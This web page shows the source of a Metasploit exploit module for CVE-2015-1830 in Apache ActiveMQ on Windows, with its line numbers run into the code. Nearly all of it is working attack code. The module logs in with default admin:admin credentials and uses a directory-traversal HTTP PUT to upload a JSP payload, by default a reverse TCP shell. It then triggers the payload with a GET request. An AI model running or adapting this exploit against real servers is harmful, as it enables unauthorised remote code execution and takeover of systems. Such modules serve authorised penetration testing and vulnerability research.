Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/http/apache_activemq_traversal_upload.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Apache ActiveMQ 5.x-5.11.1 Directory Traversal Shell Upload',15'Description' => %q{16This module exploits a directory traversal vulnerability (CVE-2015-1830) in Apache17ActiveMQ 5.x before 5.11.2 for Windows.1819The module tries to upload a JSP payload to the /admin directory via the traversal20path /fileserver/..\admin\ using an HTTP PUT request with the default ActiveMQ21credentials admin:admin (or other credentials provided by the user). It then issues22an HTTP GET request to /admin/<payload>.jsp on the target in order to trigger the23payload and obtain a shell.24},25'Author' => [26'David Jorm', # Discovery and exploit27'Erik Wynter' # @wyntererik - Metasploit28],29'References' => [30[ 'CVE', '2015-1830' ],31[ 'EDB', '40857'],32[ 'URL', 'https://activemq.apache.org/security-advisories.data/CVE-2015-1830-announcement.txt' ]33],34'Privileged' => false,35'Platform' => %w[win],36'Targets' => [37[38'Windows Java',39{40'Arch' => ARCH_JAVA,41'Platform' => 'win'42}43],44],45'DisclosureDate' => '2015-08-19',46'License' => MSF_LICENSE,47'DefaultOptions' => {48'RPORT' => 8161,49'PAYLOAD' => 'java/jsp_shell_reverse_tcp'50},51'DefaultTarget' => 0,52'Notes' => {53'Stability' => [ CRASH_SAFE ],54'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],55'Reliability' => [ REPEATABLE_SESSION ]56}57)58)5960register_options([61OptString.new('TARGETURI', [true, 'The base path to the web application', '/']),62OptString.new('PATH', [true, 'Traversal path', '/fileserver/..\\admin\\']),63OptString.new('USERNAME', [true, 'Username to authenticate with', 'admin']),64OptString.new('PASSWORD', [true, 'Password to authenticate with', 'admin'])65])66end6768def check69print_status('Running check...')70testfile = Rex::Text.rand_text_alpha(10)71testcontent = Rex::Text.rand_text_alpha(10)7273send_request_cgi({74'uri' => normalize_uri(target_uri.path, datastore['PATH'], "#{testfile}.jsp"),75'headers' => {76'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])77},78'method' => 'PUT',79'data' => "<% out.println(\"#{testcontent}\");%>"80})8182res1 = send_request_cgi({83'uri' => normalize_uri(target_uri.path, "admin/#{testfile}.jsp"),84'headers' => {85'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])86},87'method' => 'GET'88})8990if res1 && res1.body.include?(testcontent)91send_request_cgi(92{93'uri' => normalize_uri(target_uri.path, "admin/#{testfile}.jsp"),94'headers' => {95'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])96},97'method' => 'DELETE'98},991100)101return Exploit::CheckCode::Vulnerable102end103104Exploit::CheckCode::Safe105end106107def exploit108print_status('Uploading payload...')109testfile = Rex::Text.rand_text_alpha(10)110vprint_status("If upload succeeds, payload will be available at #{target_uri.path}admin/#{testfile}.jsp") # This information is provided to allow for manual execution of the payload in case the upload is successful but the GET request issued by the module fails.111112send_request_cgi({113'uri' => normalize_uri(target_uri.path, datastore['PATH'], "#{testfile}.jsp"),114'headers' => {115'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])116},117'method' => 'PUT',118'data' => payload.encoded119})120121print_status('Payload sent. Attempting to execute the payload.')122res = send_request_cgi({123'uri' => normalize_uri(target_uri.path, "admin/#{testfile}.jsp"),124'headers' => {125'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])126},127'method' => 'GET'128})129if res && res.code == 200130print_good('Payload executed!')131else132fail_with(Failure::PayloadFailed, 'Failed to execute the payload')133end134end135end136137138